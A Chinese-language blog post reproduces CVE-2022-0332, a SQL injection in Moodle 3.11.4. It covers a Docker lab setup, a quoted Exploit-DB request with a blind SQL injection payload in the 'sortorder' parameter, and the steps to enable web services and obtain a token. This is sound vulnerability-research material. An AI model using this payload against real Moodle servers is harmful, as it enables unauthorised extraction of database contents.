CVE-2022-0332 Moodle SQL Injection Reproduce


起因是,HITCON Girls 的成員來詢問我關於這個 CVE 的 Exploit 方法,她說實作了一天都卡在一些參數問題上,所以我就架起來玩了一下。

Moodle / 母斗 是一個很大的 LMS,目前台科大也正在使用,我目前也在被摧殘的第六年,ㄏㄏ。

Public Information

Build Environment

要復現這個漏洞,比想像中麻煩很多,這邊我使用了 Docker-compose 來快速建置環境,基本上內容來自 bitnami-docker-moodle , 我唯一做了修改的部分是把第 15 行指定了 Moodle 的版本

docker-compose 內容

version: '2'
services:
  mariadb:
    image: docker.io/bitnami/mariadb:10.3
    environment:
      # ALLOW_EMPTY_PASSWORD is recommended only for development.
      - ALLOW_EMPTY_PASSWORD=yes
      - MARIADB_USER=bn_moodle
      - MARIADB_DATABASE=bitnami_moodle
      - MARIADB_CHARACTER_SET=utf8mb4
      - MARIADB_COLLATE=utf8mb4_unicode_ci
    volumes:
      - 'mariadb_data:/bitnami/mariadb'
  moodle:
    image: docker.io/bitnami/moodle:3.11.4
    ports:
      - '80:8080'
      - '443:8443'
    environment:
      - MOODLE_DATABASE_HOST=mariadb
      - MOODLE_DATABASE_PORT_NUMBER=3306
      - MOODLE_DATABASE_USER=bn_moodle
      - MOODLE_DATABASE_NAME=bitnami_moodle
      # ALLOW_EMPTY_PASSWORD is recommended only for development.
      - ALLOW_EMPTY_PASSWORD=yes
    volumes:
      - 'moodle_data:/bitnami/moodle'
      - 'moodledata_data:/bitnami/moodledata'
    depends_on:
      - mariadb
volumes:
  mariadb_data:
    driver: local
  moodle_data:
    driver: local
  moodledata_data:
    driver: local

執行 Docker

基本上執行下面的指令,就可以把完整的環境跑起來了

sudo docker-compose up

值得注意的是,初次執行,當 log 出現下面這一行時,需要等待差不多 3~5 分鐘的時間來安裝母斗

moodle_1   | moodle 13:40:41.75 INFO  ==> Running Moodle install script

等到 Log 出現下面的內容, Server 就開好了

moodle_1   | [Fri Apr 01 13:43:52.245201 2022] [ssl:warn] [pid 1] AH01909: www.example.com:8443:0 server certificate does NOT include an ID which matches the server name
moodle_1   | [Fri Apr 01 13:43:52.245789 2022] [ssl:warn] [pid 1] AH01909: www.example.com:8443:0 server certificate does NOT include an ID which matches the server name
moodle_1   | [Fri Apr 01 13:43:52.287189 2022] [ssl:warn] [pid 1] AH01909: www.example.com:8443:0 server certificate does NOT include an ID which matches the server name
moodle_1   | [Fri Apr 01 13:43:52.287724 2022] [ssl:warn] [pid 1] AH01909: www.example.com:8443:0 server certificate does NOT include an ID which matches the server name
moodle_1   | [Fri Apr 01 13:43:52.354260 2022] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.52 (Unix) OpenSSL/1.1.1d PHP/7.4.27 configured -- resuming normal operations
moodle_1   | [Fri Apr 01 13:43:52.354324 2022] [core:notice] [pid 1] AH00094: Command line: '/opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND'

初始設定

預設透過 bitnami 的 Docker 來建的母斗,預設帳號是 user 、 預設密碼是 bitnami,port 預設的話會是 80。

在 http://127.0.0.1/login/index.php 輸入帳密即可登入 admin 帳號

分析 Exploit 需要的條件

快速看一下 Exploit-DB 的 Payload

GET /moodle-3.11.4/webservice/rest/server.php?wstoken=98f7d8003180afbd46ee160fdc05a4fc&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1&sortorder=%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28IFNULL%28CAST%28DATABASE%28%29%20AS%20NCHAR%29%2C0x20%29%29%2C4%2C1%29%29%3E104%29%20THEN%20%27%27%20ELSE%20%28SELECT%205080%20UNION%20SELECT%204100%29%20END%29%29 HTTP/1.1

我們可以看到幾個重點

  1. 使用到了 Moodle 的 webservice
  2. wstoken = 某個 Token
  3. wsfunction = mod_h5pactivity_get_user_attempts 就是本次有漏洞的 function
  4. sortorder 看起來很明顯就是 SQL Injection 的 Payload

Webservice

External Service

在 Moodle 中,web services token (wstoken) 是基於 services 的,而預設的 service 只有 moodle mobile web service。

我們可以在 Dashboard -> Site administration -> Server -> Web services -> External services 中點選 Custom Services 並 add,取任意的名字並選擇 Enabled

接下來選擇 Add functions

並選擇˙ mod_h5pactivity_get_user_attempts 按下 Add functions

Enable web services

接下來直接在

Dashboard -> Site administration -> Advanced features 中

把 Enable web services 給打勾,這個選項預設 Moodle 也是沒有開啟的

Enable protocols

在 Dashboard -> Site administration -> Server -> Web services -> Manage protocols 中,把 REST protocol 給 Enable (讓它眼睛打開)

Manage Tokens

下一步是需要自己申請一個 webtoken

在 Dashboard -> Site administration -> Server -> Web services -> Manage tokens 選擇藍色的 Create token,並設定我們的使用者,以及剛剛創建的 Service

接下來我們就可以取得 Token 了,在這邊我們拿到的是

673e5cea243f86f1a953d83f230666f3

這個號碼每個人都不會一樣,也不可以套用到其他 Server 上,所以請自行產生,

好麻煩 QQ 等不及的試試看

如果以為這樣就完成了,開心的把 PoC 貼上去的話

http://127.0.0.1/webservice/rest/server.php?wstoken=673e5cea243f86f1a953d83f230666f3&wsfunction=mod_h5pactivity_get_user_attempts&moodlewsrestformat=json&h5pactivityid=1

會得到這樣的結果 QQ

因為 SQL 資料庫裏面沒有相對應的資料

關於檢查資料庫的方法,我們可以直接進去 Docker 下指令

先透過 docker ps 取得 container 的 ID 並透過 docker exec -it {ID} bash 進入

接下來用 mysql -ubn_moodle -p 預設空密碼進入 SQL Shell

切換資料庫 use bitnami_moodle;

之後我們都會用以下的 SQL 指令來檢查資料庫內容

select id from mdl_h5pactivity order by id desc ;

目前狀況下我們預設都是空的

Create Database Rows

我們需要創建一堂新的課程,並在課程裡面塞 H5P 的東西

Dashboard -> Site administration -> Courses -> Manage courses and categories -> Add a new course

然後隨便創個 Moodle 的課程

再來把我們自己的使用者加入這堂課程 Enroll users